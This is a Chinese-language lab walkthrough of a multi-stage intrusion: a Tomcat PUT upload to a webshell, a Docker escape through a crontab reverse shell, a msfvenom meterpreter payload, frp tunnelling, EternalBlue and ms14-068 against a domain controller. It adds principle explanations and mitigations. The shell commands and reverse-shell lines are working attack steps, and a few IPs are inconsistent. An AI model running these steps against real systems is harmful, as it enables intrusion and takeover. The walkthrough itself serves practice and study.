靶场搭建

本文涉及的所有机器的ip:

kali: 192.168.17.128(外网)

win7: 192.168.183.129(内网)

DC: 192.168.183.130(内网)

ubuntu:192.168.17.129(外网) 192.168.183.128(内网)

首先开启环境(ubuntu):

sudo su 提权

docker ps -a看一下开启状态

docker start 把这些全部打开

外网探测

开启kali进行探测存活ip(nmap fscan arp-scan都可以)

探测存活端口发现2001 2002 2003三个端口是开放的

能访问到:

搜索一下看看有没有可复现的过往漏洞

发现存在文件上传漏洞:【Tomcat-8.5.19】文件写入漏洞_tomcat8.5.19漏洞-CSDN博客

一文了解Tomcat/8.5.19文件上传漏洞复现_tomcat8.5.19-CSDN博客

照着这位二师傅的文章进行复现(下面复现的内容上面的两篇文章均包含):

抓包2002页面,把get传参改成put,随便传一个txt,响应是201,说明文件上传可行

冰蝎蚁剑哥斯拉都可以写后门,这里用的哥斯拉来写,将生成的木马使用哥斯拉连接(具体过程上面师傅写的文章里面已经很详细,在此不多赘述)

之后进行docker逃逸,拿到web机器的shell(原理见文末)

看到sda1容量最大,是宿主机完整系统磁盘分区,我们利用他来实现逃逸

运行下面的命令写入定时炸弹(每分钟反弹shell)

mkdir /test

mount /dev/sda1 /test

chroot /test # 这步我并不能成功,可以直接用下面的

/ >echo '* * * * * root bash -c "bash -i >& /dev/tcp/192.168.17.128/5555 0>&1"' >> /test/etc/crontab

开启监听(开启之后等待几十秒自动反弹shell)

内网渗透

永恒之蓝拿下win7

准备把shell迁移到msf:

生成elf文件

msfvenom -p /linux/x64/meterpreter/reverse_tcp LHOST=192.168.57.128 LPORT=6666 -f elf -o shell2.elf

用python开http服务将生成的elf文件上传到ubuntu

chmod u+x给我们上传的文件赋予权限

启动msf

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.17.128

set LPORT 6666

run

成功上线msf

由于要使用永恒之蓝来打,刚需隧道,这里用frp来搭建一个隧道

还是一样的python起一个http服务,把客户端上传给ubuntu,也就是frpc和frpc.ini

注意修改双方的配置文件,保证端口一致:

然后修改frps配置文件

搭建隧道:

在kali运行服务端,在ubuntu运行客户端

开启客户端之后回到服务端发现已经成功连上

修改代理配置文件,这里要保证最后一行的端口和我们的frp端口一致

检查一下隧道是否正常链接:

proxychains4 nc -zv 192.168.183.129 445

隧道通了,隧道+445端口全部通了

打开msf

扫描结果说明存在永恒之蓝漏洞

使用msf自带的永恒之蓝模块打win7

具体命令如下:

search ms17-010

use 0

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.52.134

run

拿下win7!

方法1ms14-068打域控

由于我们是system用户所以可以随意地修改管理员密码,先看一下有什么用户:

net user

net user administrator Admin12345

net user administrator /active:yes

net view

有了管理员密码之后直接远程桌面登录,登录上去之后找线索,这里暗示我们用ms14-068

回去那我们的sid

现在sid和明文密码都有了,生成票据:

把票据注入到内存里面

票据注入成功

然后访问域控

拿下域控!

方法2永恒之蓝打域控:

打完之后拿shell:

bg

sessions

sessions 1

shell

拿下shell!

原理解析

为什么哥斯拉拿到shell了还要进行docker逃逸

拿到容器内shell ≠ 拿到宿主机权限

WebShell仅获取Docker容器内权限,容器存在namespace、文件系统隔离,容器root无法操作宿主机资源。渗透目标为控制宿主机、读取宿主机密钥并横向移动,因此需Docker逃逸突破容器沙箱,获取宿主机完整控制权。

docker逃逸原理:

docker逃逸的几种方法以及其原理-CSDN博客

在本靶场中:

  • /dev/sda1 是宿主机完整系统磁盘分区,包含宿主机全部文件、定时任务、账号配置、系统二进制。容器内挂载该磁盘,等于直接拿到宿主机底层文件读写权限,彻底绕过 Docker Namespace 沙箱隔离。

  • 分区容量大代表它是完整宿主机系统盘,而非普通业务数据目录,内部存在/etc/crontab/etc/passwd等高价值系统文件,具备逃逸操作的载体。

  • 容器内 root 可直接读写挂载的宿主机磁盘:往宿主机定时任务写入反弹 shell,系统会以宿主机 root 权限执行,实现容器跳出沙箱、控制宿主机,完成 Docker 逃逸。

  • 若只是小容量数据分区,仅存放业务文件,无系统调度配置,无法写入持久化提权命令,不具备逃逸条件。

永恒之蓝原理:

永恒之蓝(EternalBlue) 是针对 Windows SMBv1 漏洞族 MS17-010 的一套远程利用方式。

它的核心原理可以简单理解为:

  1. 攻击者通过 445 端口和目标机器的 SMBv1 服务通信。

  2. 向目标发送“特制”的 SMB 请求包。

  3. Windows 内核里的 SMB 处理代码在解析这些数据时,长度校验和内存处理有缺陷。

  4. 结果会造成内核内存破坏,常见表现是缓冲区越界写入。

  5. 攻击者就可能借此在目标机器上直接执行代码,而且权限通常很高,接近 SYSTEM

它为什么危险:

  • 不需要先登录目标

  • 走的是局域网里很常见的 SMB 文件共享协议

  • 漏洞点在内核层,拿到的权限高

  • 可以自动横向传播,所以像 WannaCry 这类蠕虫传播特别快


“Windows 在处理某类 SMB 文件共享请求时,错误地把一段恶意数据当成正常数据去分配和写入内存,最后让攻击者把自己的代码塞进系统内核执行。”

常见防护思路:

  • 安装 MS17-010 补丁

  • 禁用 SMBv1

  • 阻断或限制 445 端口

  • 做内网分段,避免横向传播